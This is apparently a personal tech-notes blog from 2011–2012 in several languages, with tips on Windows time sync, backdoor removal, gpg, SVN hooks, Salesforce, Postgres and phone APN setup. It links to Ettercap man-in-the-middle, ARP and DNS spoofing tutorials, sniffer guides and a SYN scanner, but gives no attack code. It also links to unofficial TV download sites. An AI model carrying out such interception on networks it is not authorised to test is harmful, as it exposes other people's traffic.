Wednesday, June 06, 2012
Monday, June 04, 2012
Saturday, June 02, 2012
youtube to mp3 portable
online
[1] http://www.youtube-mp3.org/pt (max 20min)
standalone
[1] http://www.portablefreeware.com/forums/viewtopic.php?t=4496&view=previous
[1] http://www.youtube-mp3.org/pt (max 20min)
standalone
[1] http://www.portablefreeware.com/forums/viewtopic.php?t=4496&view=previous
Friday, May 25, 2012
Remove backdoor
>netstat -ao (locate reference to unknow addres, for example
ovh.net
>taskkill /pid pid
remove from register with regedit
aditional if your clock doesn't work
net stop w32time w32tm /unregister [ignore error message] w32tm /unregister [enter a second time] w32tm /register reg add hklm\system\currentcontrolset\services\w32time\parameters\ /v NtpServer /t reg_sz /d time.nist.gov /f net start w32time w32tm /resync
The default polling time for updating the clock's time is only once every 7 days. This is why the clock gets off by so much (e.g. seconds if not many minutes) until it's the 7th day for your clock to automatically update again. Only then is the clock accurate, but it immediately starts losing time again until it updates in 7 more days. The sources for updating the clock are deadly accurate (NIST = National Institute of Standards and Technology), but the problem is that it doesn't update itself often enough. Here's the fix:
On the XP system change the update (polling time) intervals by doing the following:
1. Type “regedit” in Run located in Start
2. Navigate to the following key in the left pane:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W32Time\TimeProviders\NtpC lient.
3. In the right pane, double click the entry called SpecialPollInterval.
4. In the Base section of the Edit DWord Value dialog box, click the Decimal option button.
5. Enter the desired interval in seconds (3600 = 1 hour, 1800 = 30 minutes, 86400 = 24 hours, and so forth).
6. Click OK and close the registry editor.
(Originally set at 604,800 seconds, which equals 7 days, or once every week. I have set mine to 1,800 seconds, which updates my clock once every 30 minutes. My clock is never more than a few seconds off...
Linux get quota by folder
if you get "Disk quota exceeded", then you like know what happened with your folders
$find . -type f | cut -d "/" -f 2 | sort | uniq -c | sort -n
$du
$df
woks too
references:
[1] http://www.codecoffee.com/tipsforlinux/articles/22.html
Wednesday, May 23, 2012
Dibujo a Lápiz
Scarlett-Johansson
http://www.taringa.net/posts/arte/14803500.2/Scarlett-Johansson---Retrato-Tradicional-Realista.html
Bianca-Beauchamp
http://www.taringa.net/posts/arte/14099818/Bianca-Beauchamp---Retrato-Tradicional.html
Denise-Milani
http://www.taringa.net/posts/arte/13919654/Denise-Milani---Retrato-Tradicional.html
Saturday, May 19, 2012
Hipnosis conversacional
[1] http://naxoseduccion.blogspot.com.br/2011/07/persuasion-e-hipnosis-conversacional_04.html
[2] http://hipnosisconversacional.com/
[3] http://carlosesteban.lacoctelera.net/post/2010/05/13/el-poder-la-hipnosis-conversacional
[4] http://www.puabase.com/forum/hipnose-conversacional-2-dvds-t27555.html
Wednesday, May 16, 2012
Making sniffer using libpcap
[0] http://www.tcpdump.org/pcap.html
[1] http://www.joshuarobinson.net/docs/libpcap_offline.html
[2] http://yuba.stanford.edu/~casado/pcap/section1.html
[3] http://www.winpcap.org/docs/docs_40_2/html/group__wpcapsamps.html
[4] http://www.linuxquestions.org/questions/programming-9/undefined-reference-to-functions-from-pcap-h-319252/
package samples
[5] http://wiki.wireshark.org/SampleCaptures
Tutorial how to
[1] http://www.linuxforu.com/2011/02/capturing-packets-c-program-libpcap/
More
http://www.tcpdump.org/pcap.html
http://networksecurity.org.ua/0596007949/networkst-chp-10-sect-2.html
http://www.tcpdump.org/pcap/pcap.html
http://commons.oreilly.com/wiki/index.php/Network_Security_Tools/Modifying_and_Hacking_Security_Tools/Writing_Network_Sniffers
http://eecs.wsu.edu/~sshaikot/docs/lbpcap/
http://www.eecis.udel.edu/~sunshine/expcs/code/pcap_packet_read.c
Source:
[1] http://code.google.com/p/chengchuntu1/source/checkout
[2] http://sock-raw.org/papers/syn_scanner
Sunday, May 13, 2012
Saturday, May 12, 2012
Friday, May 11, 2012
Wednesday, May 09, 2012
Ettercap - Man in Middle
Single steps
http://linuxpoison.blogspot.com.br/2009/09/how-to-do-man-in-middle-attack-using.html
More details
http://openmaniak.com/ettercap_arp.php
Video references:
[1] http://www.youtube.com/watch?v=1eTb7OnV8X8
[2] http://www.youtube.com/watch?v=QSQaOnaRT8w
[3] with plugins for restore http://www.youtube.com/watch?v=ciuv5n5cmzs
[4] text mode/portugues http://www.youtube.com/watch?v=rPd7l4dF6mo
References:
[1] Arp http://openmaniak.com/ettercap_counter.php
[2] Dns Spoofing http://openmaniak.com/ettercap_filter.php
Saturday, May 05, 2012
Thursday, April 26, 2012
Wednesday, April 11, 2012
Friday, April 06, 2012
Fix Low Volume
$sudo alsamixer #customize
$sudo alsactl store #save customized
References:
[1] http://agnipulse.com/2009/07/fix-low-volume-issues-in-ubuntu/
Wednesday, April 04, 2012
gpg steps
export public key to asc
gpg -a --export FD9C1B26 > jfiq.pub
sign file/get pk
gpg -s segc-tarefa02.txt
sign file to asc format/get pk
gpg --clearsign segc-tarefa02.txt
add public key
gpg --import mo639_1s2012.pub
encrypt file/get uid
gpg -e -a segc-tarefa02.txt
References:
http://www.guiafoca.org/cgs/guia/avancado/ch-d-cripto.html
http://eriberto.pro.br/wiki/index.php?title=Usando_o_GnuPG
http://www.gnupg.org/gph/en/manual/x135.html
Wednesday, March 28, 2012
Sunday, March 25, 2012
Series 2012
Lie to me 1
http://filmeseseries.com/2011/12/lie-to-me-1-temporada-em-rmvb-legendado/
Lie to me 1-2-3
http://www.baixartv.com/download/lie-to-me/
Lie to me 2da/En con subtitulos en Pt
http://www.vmseries.com/series-canceladas/lie-to-me/lie-to-me-2%C2%AA-temporada.html
Lie to me 1-2-3/En con subtitulos en Pt
http://www.omelhordatelona.com.br/series/lie-to-me/409-lie-to-me-rmvb-legendado-baixar-download.html
Backtrack 5 to USB Issues
Many references instructions
1.Format usb FAT32
2.With UNetbootin copy from Image ISO to USB
3. Enjoy But
that don´t work with Backtrack 5/R1-R2, then for resolve that use Universal USB Installer
References:
[1] http://www.backtrack-linux.org/tutorials/usb-live-install/
Resources:
[2] http://www.pendrivelinux.com/universal-usb-installer-easy-as-1-2-3/
1.Format usb FAT32
2.With UNetbootin copy from Image ISO to USB
3. Enjoy But
that don´t work with Backtrack 5/R1-R2, then for resolve that use Universal USB Installer
References:
[1] http://www.backtrack-linux.org/tutorials/usb-live-install/
Resources:
[2] http://www.pendrivelinux.com/universal-usb-installer-easy-as-1-2-3/
Thursday, March 22, 2012
Thursday, March 15, 2012
Wednesday, March 14, 2012
Saturday, March 10, 2012
Dropbox
Install Dropbox via command line
32-bit:$wget http://www.dropbox.com/download?plat=lnx.x86
64-bit:$wget http://www.dropbox.com/download?plat=lnx.x86_64
$tar -xzvf [file downloaded]
$cd .dropbox-dist
$./dropboxd
downloads:
http://www.dropbox.com/install?os=lnx
32-bit:$wget http://www.dropbox.com/download?plat=lnx.x86
64-bit:$wget http://www.dropbox.com/download?plat=lnx.x86_64
$tar -xzvf [file downloaded]
$cd .dropbox-dist
$./dropboxd
downloads:
http://www.dropbox.com/install?os=lnx
Monday, March 05, 2012
Thursday, March 01, 2012
Wednesday, February 29, 2012
Português do Brasil
Dicionário
[1] http://www.priberam.pt/dlpo/
[2] http://www.dicio.com.br/
Material
http://intervox.nce.ufrj.br/~diniz/d/direito/ou-Apostila_Portugues_Oralidade_x_Escrita_1.pdf
[1] http://www.priberam.pt/dlpo/
[2] http://www.dicio.com.br/
Material
http://intervox.nce.ufrj.br/~diniz/d/direito/ou-Apostila_Portugues_Oralidade_x_Escrita_1.pdf
Wednesday, February 08, 2012
Friday, January 27, 2012
Keyboard Shortcuts in Remote Desktop Connection
CTRL+ALT+END: Open the Microsoft Windows NT Security dialog box (CTRL+ALT+DEL)
ALT+PAGE UP: Switch between programs from left to right (CTRL+PAGE UP)
ALT+PAGE DOWN: Switch between programs from right to left (CTRL+PAGE DOWN)
ALT+INSERT: Cycle through the programs in most recently used order (ALT+TAB)
ALT+HOME: Display the Start menu (CTRL+ESC)
CTRL+ALT+BREAK: Switch the client computer between a window and a full screen
ALT+DELETE: Display the Windows menu
CTRL+ALT+Minus sign (-): Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing ALT+PRINT SCREEN on a local computer (ALT+PRT SC)
CTRL+ALT+Plus sign (+): Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PRINT SCREEN on a local computer (PRT SC)
References:
[1] http://www.mydigitallife.info/keyboard-shortcuts-in-remote-desktop-connection-rdc-for-navigation/
ALT+PAGE UP: Switch between programs from left to right (CTRL+PAGE UP)
ALT+PAGE DOWN: Switch between programs from right to left (CTRL+PAGE DOWN)
ALT+INSERT: Cycle through the programs in most recently used order (ALT+TAB)
ALT+HOME: Display the Start menu (CTRL+ESC)
CTRL+ALT+BREAK: Switch the client computer between a window and a full screen
ALT+DELETE: Display the Windows menu
CTRL+ALT+Minus sign (-): Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing ALT+PRINT SCREEN on a local computer (ALT+PRT SC)
CTRL+ALT+Plus sign (+): Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PRINT SCREEN on a local computer (PRT SC)
References:
[1] http://www.mydigitallife.info/keyboard-shortcuts-in-remote-desktop-connection-rdc-for-navigation/
Thursday, January 19, 2012
Wednesday, December 28, 2011
Caller ID
References:
http://www.compartir-tecnologias.es/call-id-y-c-ayuda-206872292.html
Code
http://www.codeproject.com/KB/dotnet/CShart_TAPI_3x.aspx
http://stackoverflow.com/questions/3128204/how-detect-caller-id-from-phone-line
http://www.forosdelweb.com/f29/modem-con-identificador-llamadas-caller-id-con-c-694795/
http://intellitechture.com/The-basics-of-System-IO-Ports-SerialPort/
http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.tapi/2006-06/msg00106.html
Test Modem
http://stackoverflow.com/questions/1200921/how-to-get-caller-id-in-c
http://www.compartir-tecnologias.es/call-id-y-c-ayuda-206872292.html
Code
http://www.codeproject.com/KB/dotnet/CShart_TAPI_3x.aspx
http://stackoverflow.com/questions/3128204/how-detect-caller-id-from-phone-line
http://www.forosdelweb.com/f29/modem-con-identificador-llamadas-caller-id-con-c-694795/
http://intellitechture.com/The-basics-of-System-IO-Ports-SerialPort/
http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.tapi/2006-06/msg00106.html
Test Modem
http://stackoverflow.com/questions/1200921/how-to-get-caller-id-in-c
Saturday, December 10, 2011
Enable SVN log edit (Windows)
Create pre-revprop-change.bat and save it in the /hooks subdirectory for your repository.
references:
[1] http://stackoverflow.com/questions/692851/can-i-go-back-and-edit-comments-on-an-svn-checkin
[2] http://stackoverflow.com/questions/197224/what-is-a-pre-revprop-change-hook-in-svn-and-how-do-i-create-it
set userName=%3
set propertyName=%4
set action=%5
:: Only allow the log message to be changed, but not author, etc.
if /I not "%propertyName%" == "svn:log" goto ERROR_PROPNAME
:: Only allow modification of a log message, not addition or deletion.
if /I not "%action%" == "M" goto ERROR_ACTION
:: Make sure that the new svn:log message is not empty.
set bIsEmpty=true
for /f "tokens=*" %%g in ('find /V ""') do (
set bIsEmpty=false
)
if "%bIsEmpty%" == "true" goto ERROR_EMPTY
goto :eof
:ERROR_EMPTY
echo Empty svn:log messages are not allowed. >&2
goto ERROR_EXIT
:ERROR_PROPNAME
echo Only changes to svn:log messages are allowed. >&2
goto ERROR_EXIThttp://www.blogger.com/img/blank.gif
:ERROR_ACTION
echo Only modifications to svn:log revision properties are allowed. >&2http://www.blogger.com/img/blank.gif
goto ERROR_EXIT
http://www.blogger.com/img/blank.gif
:ERROR_EXIT
exit /b 1
references:
[1] http://stackoverflow.com/questions/692851/can-i-go-back-and-edit-comments-on-an-svn-checkin
[2] http://stackoverflow.com/questions/197224/what-is-a-pre-revprop-change-hook-in-svn-and-how-do-i-create-it
Wednesday, November 30, 2011
Tuesday, November 29, 2011
Thursday, November 24, 2011
Servicios Windows
[1] ¿Cómo hacer un Servicio Windows en C#?
http://www.cjorellana.net/2009/07/como-hacer-un-servicio-windows-en-c.html
[2] Crear un servicio windows y un instalador de un servicio windows.
http://www.onglasses.net/Default.aspx?id=4450
http://www.cjorellana.net/2009/07/como-hacer-un-servicio-windows-en-c.html
[2] Crear un servicio windows y un instalador de un servicio windows.
http://www.onglasses.net/Default.aspx?id=4450
Inteligencia emocional
Test
http://www.helios3000.net/cgi-bin/tests/eq.pl
Referencias
[1]Escala de inteligencia http://es.wikipedia.org/wiki/Wechsler_Adult_Intelligence_Scale
http://www.helios3000.net/cgi-bin/tests/eq.pl
Referencias
[1]Escala de inteligencia http://es.wikipedia.org/wiki/Wechsler_Adult_Intelligence_Scale
Wednesday, November 16, 2011
Configurar Celular - Claro - Perú
I) Internet (Configura el acceso de Internet )
01) Press [Menu] and select [Settings] .
02) Scroll to [Connectivity] tab and select [Internet settings] .
03) In [Internet settings] , select [Connect using] .
04) In [Data accounts] press [Options] > [Create new] > [PS data] .
Enter the following information :
Name : CLARO DATOS DM
APN : claro.pe
05) Press [Save] .
06) In [Data accounts] , select the created profile, CLARO DATOS DM and press [Options] > [Edit] .
Enter the following information :
APN : claro.pe
Username : claro
Password : claro
Login request : Off
IP address : Ignore
DNS address : Ignore
Authentication : Ignore
Data compression : Off
Header compr. : Off
Proxy settings : Press [Edit].
Proxy : Off
07) Press the end call key to return to the main screen.
The profile is saved .
II) MMS GPRS(Configura el acceso a Mensajes Multimedia )
01) Press [Menu] and select [Messaging] > [Settings] > [Picture message] > [MMS profile] .
02) In [MMS profile] select [New profile] (press [Add] ).
Enter the following information :
MMS profile name : CLARO MMS DM
Message server : http://claro/servlets/mms
Connect using : Press [Edit]
03) In [Data accounts] press [Options] > [Create new] > [PS data] .
Enter the following information :
Name : CLARO MMS DM
APN : mms.claro.pe
04) Press [Save] .
05) In [Data accounts] , select the created profile, CLARO MMS DM and press [Options] > [Edit] .
Enter the following information :
APN : mms.claro.pe
Username : claro
Password : claro
Login request : Off
IP address : Ignore
DNS address : Ignore
Authentication : Ignore
Data compression : Off
Header compr. : Off
Proxy settings : Press [Edit].
Proxy : On
Same for all servers : Off
Proxy servers : Press [Edit].
HTTP :
Username : Leave blank
Password : Leave blank
Proxy address : 192.168.231.30
Port : 80
06) Press [Back] four times, to return to [Data accounts] .
07) In [Data accounts] select the created profile, CLARO MMS DM (press [Select] ).
08) Press [Save] .
09) In [MMS profile] select the created profile, CLARO MMS DM (press [Select] ).
The profile is saved and activated .
III) WAP GPRS(Configura el acceso a WAP)
01) Press [Menu] and select [Settings] .
02) Scroll to [Connectivity] tab and select [Internet settings] .
03) In [Internet settings] , select [Connect using] .
04) In [Data accounts] press [Options] > [Create new] > [PS data] .
Enter the following information :
Name : CLARO WAP DM
APN : wap.claro.pe
05) Press [Save] .
06) In [Data accounts] , select the created profile, CLARO WAP DM and press [Options] > [Edit] .
Enter the following information :
APN : wap.claro.pe
Username : claro
Password : claro
Login request : Off
IP address : Ignore
DNS address : Ignore
Authentication : Ignore
Data compression : Off
Header compr. : Off
Proxy settings : Press [Edit].
Proxy : On
Same for all servers : Off
Proxy servers : Press [Edit].
HTTP :
Username : Leave blank
Password : Leave blank
Proxy address : 192.168.231.30http://www.blogger.com/img/blank.gif
Port : 80http://www.blogger.com/img/blank.gif
07) Press [Back] four times to return to [Data accounts] .
08) In [Data accounts] , select the created profile, CLARO WAP DM (press [Select] ).
Enter the following information :
Allow local conn. : Ignore
09) Press [Save] .
The profile is saved and activated .
Referencias:
[1] http://dmcatc.hc012.sicap.com/frontoffice.view
[2] http://www.ivanandrei.com/2010/12/configura-wap-data-y-mms-de-claro-peru-con-solo-ingresar-tu-numero/
01) Press [Menu] and select [Settings] .
02) Scroll to [Connectivity] tab and select [Internet settings] .
03) In [Internet settings] , select [Connect using] .
04) In [Data accounts] press [Options] > [Create new] > [PS data] .
Enter the following information :
Name : CLARO DATOS DM
APN : claro.pe
05) Press [Save] .
06) In [Data accounts] , select the created profile, CLARO DATOS DM and press [Options] > [Edit] .
Enter the following information :
APN : claro.pe
Username : claro
Password : claro
Login request : Off
IP address : Ignore
DNS address : Ignore
Authentication : Ignore
Data compression : Off
Header compr. : Off
Proxy settings : Press [Edit].
Proxy : Off
07) Press the end call key to return to the main screen.
The profile is saved .
II) MMS GPRS(Configura el acceso a Mensajes Multimedia )
01) Press [Menu] and select [Messaging] > [Settings] > [Picture message] > [MMS profile] .
02) In [MMS profile] select [New profile] (press [Add] ).
Enter the following information :
MMS profile name : CLARO MMS DM
Message server : http://claro/servlets/mms
Connect using : Press [Edit]
03) In [Data accounts] press [Options] > [Create new] > [PS data] .
Enter the following information :
Name : CLARO MMS DM
APN : mms.claro.pe
04) Press [Save] .
05) In [Data accounts] , select the created profile, CLARO MMS DM and press [Options] > [Edit] .
Enter the following information :
APN : mms.claro.pe
Username : claro
Password : claro
Login request : Off
IP address : Ignore
DNS address : Ignore
Authentication : Ignore
Data compression : Off
Header compr. : Off
Proxy settings : Press [Edit].
Proxy : On
Same for all servers : Off
Proxy servers : Press [Edit].
HTTP :
Username : Leave blank
Password : Leave blank
Proxy address : 192.168.231.30
Port : 80
06) Press [Back] four times, to return to [Data accounts] .
07) In [Data accounts] select the created profile, CLARO MMS DM (press [Select] ).
08) Press [Save] .
09) In [MMS profile] select the created profile, CLARO MMS DM (press [Select] ).
The profile is saved and activated .
III) WAP GPRS(Configura el acceso a WAP)
01) Press [Menu] and select [Settings] .
02) Scroll to [Connectivity] tab and select [Internet settings] .
03) In [Internet settings] , select [Connect using] .
04) In [Data accounts] press [Options] > [Create new] > [PS data] .
Enter the following information :
Name : CLARO WAP DM
APN : wap.claro.pe
05) Press [Save] .
06) In [Data accounts] , select the created profile, CLARO WAP DM and press [Options] > [Edit] .
Enter the following information :
APN : wap.claro.pe
Username : claro
Password : claro
Login request : Off
IP address : Ignore
DNS address : Ignore
Authentication : Ignore
Data compression : Off
Header compr. : Off
Proxy settings : Press [Edit].
Proxy : On
Same for all servers : Off
Proxy servers : Press [Edit].
HTTP :
Username : Leave blank
Password : Leave blank
Proxy address : 192.168.231.30http://www.blogger.com/img/blank.gif
Port : 80http://www.blogger.com/img/blank.gif
07) Press [Back] four times to return to [Data accounts] .
08) In [Data accounts] , select the created profile, CLARO WAP DM (press [Select] ).
Enter the following information :
Allow local conn. : Ignore
09) Press [Save] .
The profile is saved and activated .
Referencias:
[1] http://dmcatc.hc012.sicap.com/frontoffice.view
[2] http://www.ivanandrei.com/2010/12/configura-wap-data-y-mms-de-claro-peru-con-solo-ingresar-tu-numero/
Salesforce - General Information
http://www.blogger.com/img/blank.gif
Referenceshttp://www.blogger.com/img/blank.gif
[1]http://wiki.developerforce.com/page/Force.com_Tutorial:_An_Introduction_to_Visualforce
[2] Adding Custom List Buttons using Standard List Controllers
http://www.salesforce.com/us/developer/docs/pages/Content/pages_controller_sosc_custom_button.htm
[3]
http://sfdc.arrowpointe.com/2009/01/08/invoke-apex-from-a-custom-button-using-a-visualforce-page/
[4] Send email and validation form
http://gokubi.com/archives/using-javascript-to-validate-an-apex-form
[5] Invoke apex from custom button
http://sfdc.arrowpointe.com/2009/01/08/invoke-apex-from-a-custom-button-using-a-visualforce-page/
Referenceshttp://www.blogger.com/img/blank.gif
[1]http://wiki.developerforce.com/page/Force.com_Tutorial:_An_Introduction_to_Visualforce
[2] Adding Custom List Buttons using Standard List Controllers
http://www.salesforce.com/us/developer/docs/pages/Content/pages_controller_sosc_custom_button.htm
[3]
http://sfdc.arrowpointe.com/2009/01/08/invoke-apex-from-a-custom-button-using-a-visualforce-page/
[4] Send email and validation form
http://gokubi.com/archives/using-javascript-to-validate-an-apex-form
[5] Invoke apex from custom button
http://sfdc.arrowpointe.com/2009/01/08/invoke-apex-from-a-custom-button-using-a-visualforce-page/
Salesforce API - Dates
Query with DateTime field in Salesforce
If you have to work with DateTime field in Salesforce, consider next items:
1. Don't use quote
For example:
SELECT Id FROM Opportunity WHERE CreatedDate > 2005-10-08
2. Use DateTime literals: YESTERDAY, TODAY, TOMORROW, LAST_WEEK, THIS_WEEK, NEXT_WEEK, ...
For example:
SELECT Id FROM Account WHERE CreatedDate = LAST_WEEK
3. DateTime in Salesforce is UTC format
For example(C#):
string strSQL = "SELECT Id FROM Opportunity WHERE CreatedDate > " + DateTime.Today.ToString("yyyy-MM-dd");
If you have to work with DateTime field in Salesforce, consider next items:
1. Don't use quote
For example:
SELECT Id FROM Opportunity WHERE CreatedDate > 2005-10-08
2. Use DateTime literals: YESTERDAY, TODAY, TOMORROW, LAST_WEEK, THIS_WEEK, NEXT_WEEK, ...
For example:
SELECT Id FROM Account WHERE CreatedDate = LAST_WEEK
3. DateTime in Salesforce is UTC format
For example(C#):
string strSQL = "SELECT Id FROM Opportunity WHERE CreatedDate > " + DateTime.Today.ToString("yyyy-MM-dd");
Monday, November 14, 2011
Friday, November 11, 2011
Salesforce API - SQL
Salesforce API(Relationship Queries)
http://www.salesforce.com/us/developer/docs/api/Content/sforce_api_calls_soql_relationships.htm
http://www.salesforce.com/us/developer/docs/api/Content/sforce_api_calls_soql_relationships.htm
Wednesday, November 09, 2011
Visual C++ Runtime version
If you install an application and receive an error that the C runtime is not available or you need to develop an application using the runtime, you may need to obtain one or more versions. There are multiple versions of the Visual C runtime:
* Msvcr90.dll -Visual C++ 2008
* Msvcr80.dll -Visual C++ 2005
* Msvcr71.dll -Visual C++ .NET 2003 (.NET Framework 1.1)
* Msvcr70.dll -Visual C++ .NET 2002 (.NET Framework 1.0)
* Msvcr90.dll -Visual C++ 2008
* Msvcr80.dll -Visual C++ 2005
* Msvcr71.dll -Visual C++ .NET 2003 (.NET Framework 1.1)
* Msvcr70.dll -Visual C++ .NET 2002 (.NET Framework 1.0)
Friday, October 28, 2011
Winamp Alternatives
XMPlay
http://www.un4seen.com/
Sonique
http://oldapps.com/download.php?oldappsid=sonique196.exe
References
[1] Download players http://www.megaupload.com/?d=BF2X2POA
[2] http://www.techmalaya.com/2007/10/25/10-alternatives-to-winamp-desktop-music-player-freeware/
[3] https://github.com/noahwilliamsson/openspotify
http://www.un4seen.com/
Sonique
http://oldapps.com/download.php?oldappsid=sonique196.exe
References
[1] Download players http://www.megaupload.com/?d=BF2X2POA
[2] http://www.techmalaya.com/2007/10/25/10-alternatives-to-winamp-desktop-music-player-freeware/
[3] https://github.com/noahwilliamsson/openspotify
Thursday, October 27, 2011
Postgres - Fechas
Tipos Fecha
timestamp
timestamp with time zone
date
time
time with time zone
interval
Variables de Fecha
CURRENT_DATE : Fecha Actual
CURRENT_TIME : Hora Actual
CURRENT_TIMESTAMP : Fecha y Hora Actual
LOCALTIME
LOCALTIMESTAMP
referencias:
[1] http://elreinodelterror.wordpress.com/2011/02/01/fechas-y-horas-en-postgres/
[2] http://saforas.wordpress.com/2009/11/12/postgresql-fechas-y-horas/
[3] http://postgresql.ru.net/manual/functions-formatting.html
timestamp
timestamp with time zone
date
time
time with time zone
interval
Variables de Fecha
CURRENT_DATE : Fecha Actual
CURRENT_TIME : Hora Actual
CURRENT_TIMESTAMP : Fecha y Hora Actual
LOCALTIME
LOCALTIMESTAMP
referencias:
[1] http://elreinodelterror.wordpress.com/2011/02/01/fechas-y-horas-en-postgres/
[2] http://saforas.wordpress.com/2009/11/12/postgresql-fechas-y-horas/
[3] http://postgresql.ru.net/manual/functions-formatting.html
Wednesday, October 26, 2011
Claro TUN
Para acceder a la Tarifa Única Nacional (TUN), el cliente debe inscribirse llamando al *779, opción 8.
Friday, October 14, 2011
Salesforce - Using Custom Objects
References:
[1] Introduction to Visualforce
http://wiki.developerforce.com/index.php/Force.com_Tutorial:_An_Introduction_to_Visualforce
[1] Introduction to Visualforce
http://wiki.developerforce.com/index.php/Force.com_Tutorial:_An_Introduction_to_Visualforce
Salesforce - List Custom Ojects
<apex:page standardController="External_Competitor__c" sidebar="false" showHeader="false" >
<apex:sectionHeader title="Engineering Change Order: ECO Details" />
<apex:PageMessages />
<apex:messages />
<apex:listViews type="External_Competitor__c" />
</apex:page>
<apex:sectionHeader title="Engineering Change Order: ECO Details" />
<apex:PageMessages />
<apex:messages />
<apex:listViews type="External_Competitor__c" />
</apex:page>
Thursday, October 06, 2011
Friday, September 30, 2011
Visual Studio 2008 plugin
highlights substrings that are currently selected
http://code.google.com/p/wordlight/
http://code.google.com/p/wordlight/
Thursday, September 29, 2011
Postgres Backup guide
if you use pg_dump ppp > xxx.tar, then you get error, use standard format for big databases.
references:
[1] http://sparcki.blogspot.com/2010/11/copias-de-seguridad-y-recuperacion-en.html
[2] http://www.rolandovera.com/2008/07/09/forma-correcta-de-sacar-un-respaldo-backup-en-postgresql/
references:
[1] http://sparcki.blogspot.com/2010/11/copias-de-seguridad-y-recuperacion-en.html
[2] http://www.rolandovera.com/2008/07/09/forma-correcta-de-sacar-un-respaldo-backup-en-postgresql/
Alternative WLM Clients - Messenger
emesene, works fine without logout at using www.hotmail.com
digsby( not yet tested)
trillian ( not yet tested)
References:
[1] http://alternativeto.net/software/windows-live-messenger/
[2] http://blog.emesene.org/p/downloads.html
digsby( not yet tested)
trillian ( not yet tested)
References:
[1] http://alternativeto.net/software/windows-live-messenger/
[2] http://blog.emesene.org/p/downloads.html
Wednesday, September 28, 2011
Track visitors using ASP.NET & C#
References:
[0]Getting The Real IP Of Your Users
http://thepcspy.com/read/getting_the_real_ip_of_your_users/
[1] How to track visitors to your site in ASP.NET & C#
http://www.mycsharpcorner.com/Post.aspx?postID=27
[2] Server variables http://www.aspnetcenter.com/cliktoprogram/asp/serverVariables.asp
[0]Getting The Real IP Of Your Users
http://thepcspy.com/read/getting_the_real_ip_of_your_users/
[1] How to track visitors to your site in ASP.NET & C#
http://www.mycsharpcorner.com/Post.aspx?postID=27
[2] Server variables http://www.aspnetcenter.com/cliktoprogram/asp/serverVariables.asp
Labels:
C#,
Web.Developer,
Windows.Developer
Tuesday, September 27, 2011
Thursday, September 22, 2011
Dynamic Java Web Start App (JNLP) Using Servlet
Remember sign jar files main and libraries before publish/upload
set path=%path%;c:\J2EE\Java\jdk1.6.0\bin
keytool -genkey -keystore OlvaKeys -alias Olva
jarsigner -keystore OlvaKeys vsislocal.importer.jar Olva
jarsigner -keystore OlvaKeys postgresql-8.4-701.jdbc4.jar Olva
Notes:
The jardiff tool, jnlp-servlet.jar file, and jnlp.jar file http://www.blogger.com/img/blank.gifcan be found in the samples directory of the JDK.
reference:
[1] http://download.oracle.com/javase/1.4.2/docs/guide/jws/downloadservletguide.html
[2] http://portal.krypthonas.de/2010/10/11/passing-dynamically-parameters-to-a-java-web-start-app-jnlp/
[3] Distribute JWS Application http://www1.oan.es/informes/archivos/IT-OAN-2006-8.pdf
[4] Automatically Signing http://ezzatron.com/2009/09/29/automatically-signing-jar-files-in-netbeans/
[5] Netbeans + Webstart + Auto-signing http://netbeans-org.1045718.n5.nabble.com/Webstart-High-Learning-Curve-td2912653.html
set path=%path%;c:\J2EE\Java\jdk1.6.0\bin
keytool -genkey -keystore OlvaKeys -alias Olva
jarsigner -keystore OlvaKeys vsislocal.importer.jar Olva
jarsigner -keystore OlvaKeys postgresql-8.4-701.jdbc4.jar Olva
Notes:
The jardiff tool, jnlp-servlet.jar file, and jnlp.jar file http://www.blogger.com/img/blank.gifcan be found in the samples directory of the JDK.
reference:
[1] http://download.oracle.com/javase/1.4.2/docs/guide/jws/downloadservletguide.html
[2] http://portal.krypthonas.de/2010/10/11/passing-dynamically-parameters-to-a-java-web-start-app-jnlp/
[3] Distribute JWS Application http://www1.oan.es/informes/archivos/IT-OAN-2006-8.pdf
[4] Automatically Signing http://ezzatron.com/2009/09/29/automatically-signing-jar-files-in-netbeans/
[5] Netbeans + Webstart + Auto-signing http://netbeans-org.1045718.n5.nabble.com/Webstart-High-Learning-Curve-td2912653.html
Tuesday, September 20, 2011
Saturday, September 17, 2011
ASP.NET:: Maestro Detalle
Referencias:
[1] http://tydw.wordpress.com/2008/02/14/asp-net-formulario-maestro-detalle-aplicable-a-vb-y-c/
[2] http://sqlserversamples.codeplex.com/
[3]http://www.asp.net/data-access/tutorials/using-the-formview-s-templates-cs
[1] http://tydw.wordpress.com/2008/02/14/asp-net-formulario-maestro-detalle-aplicable-a-vb-y-c/
[2] http://sqlserversamples.codeplex.com/
[3]http://www.asp.net/data-access/tutorials/using-the-formview-s-templates-cs
Wednesday, September 14, 2011
Creating .XLS and .XLSX with C#
Code samples:
Visual Studio 2008 C# ASP.NET MVC Web Application
http://sites.google.com/site/leniel/blog/ExcelWriterMvcProject.zip
References:
ExcelPackage: Office Open XML Format file creation
http://excelpackage.codeplex.com/
ExcelPackage binaries download
http://excelpackage.codeplex.com/Release/ProjectReleases.aspx
NPOI
http://npoi.codeplex.com/
Visual Studio 2008 C# ASP.NET MVC Web Application
http://sites.google.com/site/leniel/blog/ExcelWriterMvcProject.zip
References:
ExcelPackage: Office Open XML Format file creation
http://excelpackage.codeplex.com/
ExcelPackage binaries download
http://excelpackage.codeplex.com/Release/ProjectReleases.aspx
NPOI
http://npoi.codeplex.com/
Manual del Conductor
http://www.drtcsanmartin.gob.pe/documentos/manual_conductor/
http://www.mtc.gob.pe/portal/normas_transito/BALOTARIO.pdf
http://www.touringperu.com.pe/info/codigo_transito/balotario.pdf
Accidente Rey latino Bateas Caylloma
https://www.hbanoticias.com/arequipa-volcadura-de-bus-rey-latino-deja-un-fallecido-y-29-heridos-en-caylloma-relacion-de-heridos/
http://www.mtc.gob.pe/portal/normas_transito/BALOTARIO.pdf
http://www.touringperu.com.pe/info/codigo_transito/balotario.pdf
Accidente Rey latino Bateas Caylloma
https://www.hbanoticias.com/arequipa-volcadura-de-bus-rey-latino-deja-un-fallecido-y-29-heridos-en-caylloma-relacion-de-heridos/
Friday, September 09, 2011
Wednesday, September 07, 2011
Saturday, September 03, 2011
ASP.NET::Error de la validación del estado de vista MAC.
